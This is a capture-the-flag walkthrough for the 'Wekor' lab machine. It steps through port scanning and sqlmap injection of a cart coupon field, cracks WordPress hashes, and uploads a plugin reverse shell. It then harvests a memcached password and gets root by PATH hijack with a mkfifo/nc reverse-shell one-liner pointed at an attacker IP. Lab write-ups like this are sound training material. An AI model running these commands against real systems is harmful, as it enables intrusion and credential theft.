CTF Wekor

rustscan

1
rustscan -a 10.10.140.46

Open 10.10.140.46:22
Open 10.10.140.46:80

robots.txt

1
2
3
4
5
6
7
8
9
10
User-agent: *
Disallow: /workshop/
Disallow: /root/
Disallow: /lol/
Disallow: /agent/
Disallow: /feed
Disallow: /crawler
Disallow: /boot
Disallow: /comingreallysoon
Disallow: /interesting

http://10.10.140.46/comingreallysoon/

So we found this website.
http://10.10.140.46/it-next/

Gobuster

1
gobuster dir -u http://10.10.140.46/it-next/. -x txt,html,php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

SQL injection

List of dbs

1
sqlmap -u  http://10.10.140.46/it-next/it_cart.php --data="coupon_code=ghjghj&apply_coupon=Apply+Coupon" --dbs

List of tables

1
sqlmap -u  http://10.10.140.46/it-next/it_cart.php --data="coupon_code=ghjghj&apply_coupon=Apply+Coupon" -D wordpress --tables

Dump the table wp_user

1
sqlmap -u  http://10.10.140.46/it-next/it_cart.php --data="coupon_code=ghjghj&apply_coupon=Apply+Coupon" -D wordpress -T wp_users -dump 

Let’s put thoses hashes into a file and crack them.

1
2
3
4
$P$BoyfR2QzhNjRNmQZpva6TuuD0EE31B.
$P$BU8QpWD.kHZv3Vd1r52ibmO913hmj10
$P$B6jSC3m7WdMlLi1/NDb3OFhqv536SV/
$P$BpyTRbmvfcKyTrbDzaK1zSPgM7J6QY/
1
john hashs --wordlist=/home/peanutstick/Documents/arch_doc/CTF/Wordlist/rockyou.txt

Login with wp_yura:soccer13

Wordpress

http://site.wekor.thm/wordpress/
You need to add it to your /etc/hosts

Revershell

With the plugin.

Then eip it:

1
zip rev.zip revershell.php 

Upgrade the shell

1
2
python3 -c 'import pty;pty.spawn("/bin/bash")' 
export TERM=xterm # allow clear command

Then Ctrl + Z.

1
stty raw -echo; fg # allow auto completion

Privesc

there is the tool memcached-tool in /usr/share/memcached/scripts.
we can dump what’s runing on the port 11211.

1
/usr/share/memcached/scripts/memcached-tool localhost:11211 dump 

Output.

1
2
3
4
5
6
7
8
9
10
11
Dumping bucket 1 - 5 total items
add id 0 1676753794 4
3476
add username 0 1676753794 4
Orka
add salary 0 1676753794 8
$100,000
add password 0 1676753794 15
OrkAiSC00L24/7$
add email 0 1676753794 14
[email protected]

With the password OrkAiSC00L24/7$

Privesc to root

1
sudo -l

Let’s dig into this binary.

1
strings /home/Orka/Desktop/bitcoin

He use python.

1
2
Orka@osboxes:~$ ls /usr/sbin/python
ls: cannot access '/usr/sbin/python': No such file or directory

Let’s create it.

1
2
3
4
export PATH="/usr/sbin:$PATH"
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.50.167 6666 >/tmp/f" > /usr/sbin/python
chmod +x /usr/sbin/python
sudo Desktop/bitcoin

I’m root.

Other solution for privesc.